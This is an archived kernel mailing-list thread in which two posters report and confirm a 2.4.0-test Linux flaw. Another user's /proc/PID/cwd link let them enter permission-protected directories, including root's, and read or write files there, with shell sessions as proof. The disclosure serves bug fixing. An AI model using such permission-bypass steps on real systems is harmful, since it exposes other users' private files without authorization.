2.4.(0-test10): /proc security hole

2.4.(0-test10): /proc security hole

[Lutz Pressler]

Hello,

I do not think that the following behaviour (2.4.0-test10 on i386, also
tested with 2.4.0-test8) is intended: 

testuser@vax:~ > id
uid=503(testuser) gid=100(users) Gruppen=100(users)
testuser@vax:~ > ls -lad .
drwx------   7 testuser users        4096 Nov  5 13:38 .

testuser@vax:~ > cd dir
testuser@vax:~/dir > ls -la 
insgesamt 16
drwxr-xr-x   3 testuser users        4096 Nov  5 13:39 .
drwx------   7 testuser users        4096 Nov  5 13:38 ..
-rw-r--r--   1 testuser users           7 Nov  5 13:39 file
drwxrwxr-x   2 testuser users        4096 Nov  5 13:39 subdir


Myself (lpressl, uid=500) cannot change into /home/testuser/dir,
as expected:
lpressl@vax:~ > cd ~testuser/dir
bash: cd: /home/testuser/dir: Permission denied

BUT: let testuser be logged in and have a process (bash) with cwd
/home/testuser/dir. Then
lpressl@vax:~ > ps uax |grep testuser
yields
...
testuser   588  0.0  2.1  2256 1360 tty2     S    13:38   0:00 -bash
...

lpressl@vax:~ > cd /proc/588
lpressl@vax:/proc/588 > ls -la
total 0
dr-xr-xr-x   3 testuser users     0 Nov  5 13:49 .
dr-xr-xr-x  59 root     root      0 Nov  5 13:34 ..
-r--r--r--   1 testuser users     0 Nov  5 13:49 cmdline
lrwxrwxrwx   1 testuser users     0 Nov  5 13:49 cwd -> /home/testuser/dir
-r--------   1 testuser users     0 Nov  5 13:49 environ
lrwxrwxrwx   1 testuser users     0 Nov  5 13:49 exe -> /bin/bash
dr-x------   2 testuser users     0 Nov  5 13:49 fd
-r--r--r--   1 testuser users     0 Nov  5 13:49 maps
-rw-------   1 testuser users     0 Nov  5 13:49 mem
lrwxrwxrwx   1 testuser users     0 Nov  5 13:49 root -> /
-r--r--r--   1 testuser users     0 Nov  5 13:49 stat
-r--r--r--   1 testuser users     0 Nov  5 13:49 statm
-r--r--r--   1 testuser users     0 Nov  5 13:49 status

cd cwd shouldn't be possible, should it? But let's see:
lpressl@vax:/proc/588 > cd cwd
lpressl@vax:/proc/588/cwd > 

Oops....

lpressl@vax:/proc/588/cwd > ls -la
total 16
drwxr-xr-x   3 testuser users        4096 Nov  5 13:39 .
drwx------   7 testuser users        4096 Nov  5 13:38 ..
-rw-r--r--   1 testuser users           7 Nov  5 13:39 file
drwxrwxr-x   2 testuser users        4096 Nov  5 13:39 subdir

lpressl@vax:/proc/588/cwd > cat file
secret
lpressl@vax:/proc/588/cwd > cd subdir
lpressl@vax:/proc/588/cwd/subdir > 
lpressl@vax:/proc/588/cwd/subdir > echo ohoh > newfile
lpressl@vax:/proc/588/cwd/subdir > ls -la
total 12
drwxrwxr-x   2 testuser users        4096 Nov  5 13:53 .
drwxr-xr-x   3 testuser users        4096 Nov  5 13:39 ..
-rw-r--r--   1 lpressl  users           5 Nov  5 13:53 newfile


This is bad. 2.2 kernels don't show this behavior. There _any_
/proc/PID/cwd "directory" has no group or world permissions
at all.

I haven't looked at the code at all yet. Anybody with a fix?


Regards,
  Lutz
  


-- 
  _              |  Lutz Pressler          |  Tel: ++49-551-3700002
 |_     |\ |     |  Service Network GmbH   |  FAX: ++49-551-3700009
 ._|ER  | \|ET   |  Bahnhofsallee 1b       |   mailto:lp@SerNet.DE
Service Network  |  D-37081 Goettingen     |  http://www.SerNet.DE/
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Re: 2.4.(0-test10): /proc security hole

[Jan Dvorak]

On Sun, Nov 05, 2000 at 01:02:14PM +0000, Lutz Pressler wrote:
> Hello,
> 
> I do not think that the following behaviour (2.4.0-test10 on i386, also
> tested with 2.4.0-test8) is intended: 
> 
..
> This is bad. 2.2 kernels don't show this behavior. There _any_
> /proc/PID/cwd "directory" has no group or world permissions
> at all.
> 
> I haven't looked at the code at all yet. Anybody with a fix?

I wonder that noone rospond. I can confirm this - in 2.2.x links to cwd,
exe etc. pointed to nowhere (readlink failed) when there was insufficient
privileges to enter the dir. In 2.4.x the links blindly points to directory
setting all its privileges for access by /proc. Because everyone has dirs
drwxr-xr-x in his home, such dirs now become accesible through /proc if user
is in them. This is real security leak. 

ex:

[johnydog@napalm 210]$ whoami
johnydog
[johnydog@napalm 210]$ pwd
/proc/210
[johnydog@napalm 210]$ ls -l ./cwd
lrwxrwxrwx    1 root     root            0 Nov  6 01:26 ./cwd -> /root/.mc
[johnydog@napalm 210]$ cd /root/.mc
bash: /root/.mc: Permission denied
[johnydog@napalm 210]$ cd cwd
[johnydog@napalm cwd]$ ls -l
total 53
-rw-r--r--    1 root     root           35 Nov  6 01:16 Tree
-rw-r--r--    1 root     root        13203 May 31 11:54 ext
-rw-------    1 root     root        15952 Nov  6 01:16 history
-rw-------    1 root     root           20 May  6  1998 hotlist
-rw-r--r--    1 root     root         6417 Nov  6 01:16 ini
drwx------    2 root     root         3072 Nov  6 01:16 tmp
-rw-r--r--    1 root     root        10121 Jun 30 17:04 tree
[johnydog@napalm cwd]$


Jan Dvorak <johnydog@go.cz>

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